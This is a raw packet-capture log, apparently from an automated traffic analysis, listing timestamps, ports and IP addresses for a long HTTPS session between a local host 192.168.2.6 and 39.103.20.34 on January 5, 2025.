Jan 5, 2025 10:11:30.505425930 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.510071039 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.510124922 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.512352943 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.512406111 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.517080069 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.517148972 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.519429922 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.519483089 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.521878004 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.521933079 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.526530027 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.526601076 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.528779984 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.528842926 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.533673048 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.533720016 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.535960913 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.536010981 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.538342953 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.538392067 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.542901993 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.542946100 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.545356989 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.545414925 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.549870014 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.549926996 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.552331924 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.552392006 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.556785107 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.556838036 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.559036970 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.559106112 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.561321974 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.561389923 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.566195011 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.566245079 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.568536997 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.568584919 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.573231936 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.573280096 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.575660944 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.575711012 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.578318119 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.578380108 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.583080053 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.583129883 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.585211992 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.585264921 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.590192080 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.590250969 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.592551947 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.592598915 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.594783068 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.594834089 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.599667072 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.599720955 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.602318048 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.602391005 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.606724977 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.606776953 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.609163046 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.609230042 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.613501072 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.613548994 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.616015911 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.616061926 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.618273020 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.618330956 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.620493889 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.620549917 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.621850967 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.621900082 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.624416113 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.624490976 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.625680923 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.625734091 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.626955032 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.627010107 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.629653931 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.629709005 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.630753040 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.630806923 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.633373976 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.633423090 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.634704113 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.634756088 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.635911942 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.635960102 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.640646935 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.640696049 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.640712976 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.640721083 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.640752077 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.640767097 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.645175934 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.645226955 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.645236015 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.645252943 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.645272970 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.645301104 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.649698019 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.649761915 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.656939030 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.656986952 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.657007933 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.657016039 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.657044888 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.657053947 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.661664009 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.661720991 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.661742926 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.661751032 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.661772966 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.661793947 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.668766022 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.668834925 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.668836117 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.668847084 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.668878078 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.668921947 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.675919056 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.675972939 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.675978899 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.675997019 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.676031113 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.676059961 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.683109999 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.683171034 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.683182001 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.683187962 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.683231115 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.690437078 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.690488100 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.690495014 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.690505028 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.690531969 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.690556049 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.694912910 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.694972992 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.694986105 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.694993019 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.695023060 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.695046902 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.702013016 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.702050924 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.702063084 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.702071905 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.702127934 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.702127934 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.708800077 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.708851099 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.708875895 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.708884001 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.708894968 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.708925009 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.712663889 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.712707043 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.712718964 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.712724924 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.712754965 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.712764978 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.716269970 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.716327906 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.716397047 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.716449022 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.718775988 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.718827009 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.718835115 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.718883038 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.722742081 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.722799063 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.722807884 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.722825050 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.722882986 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.726512909 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.726558924 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.726562977 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.726574898 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.726603031 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.726634979 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.732274055 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.732323885 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.733829021 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.733896017 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.736455917 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.736506939 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.736516953 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.736576080 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.748405933 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.748472929 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.748477936 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.748496056 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.748533964 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.752226114 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.752301931 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.752422094 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.752476931 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.759278059 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.759340048 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.759383917 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.759392977 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.759404898 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.759433985 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.766441107 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.766501904 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.766603947 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.766654015 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.773736954 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.773798943 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.773885012 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.773960114 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.781579971 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.781634092 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.781645060 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.781661034 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.781692028 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.781734943 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.785465956 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.785526037 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.785553932 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.785607100 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.792784929 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.792843103 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.792850018 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.792860985 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.792903900 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.799487114 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.799531937 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.799535036 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.799544096 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.799576044 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.799587965 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.803286076 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.803339958 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.803405046 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.803411961 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.803452015 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.806979895 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.807019949 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.807037115 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.807044983 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.807070017 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.807084084 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.809412956 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.809487104 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.809592009 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.809664011 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.813307047 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.813363075 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.813371897 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.813389063 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.813450098 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.813469887 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.817101955 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.817183971 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.817198038 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.817250967 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.821824074 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.821896076 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.822000027 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.822047949 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.826414108 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.826453924 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.826474905 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.826483965 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.826513052 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.826528072 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.838363886 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.838418007 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.838427067 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.838474989 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.842868090 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.842921972 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.842952013 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.842999935 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.849942923 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.849991083 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.849999905 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.850116014 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.857105017 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.857153893 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.857191086 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.857239008 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.864267111 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.864315033 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.864358902 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.864404917 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.871766090 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.871818066 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.871829033 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.871849060 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.871876955 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.871892929 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.873722076 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.876105070 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.876204014 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.876221895 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.876267910 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.883342981 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.883380890 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.883410931 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.883418083 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.883440971 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.883465052 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.890151024 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.890202999 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.890212059 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.890218973 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.890249968 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.890273094 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.893919945 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.893984079 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.894135952 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.894181967 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.897654057 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.897701979 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.897746086 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.897753954 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.897784948 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.897803068 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.900074959 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.900122881 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.900161028 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.900207996 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.903987885 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.904037952 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.904046059 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.904093981 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.907716990 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.907787085 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.907799006 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.907852888 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.912587881 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.912650108 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.912651062 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.912707090 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.912735939 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.912755013 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.917018890 CET	443	62775	39.103.20.34	192.168.2.6
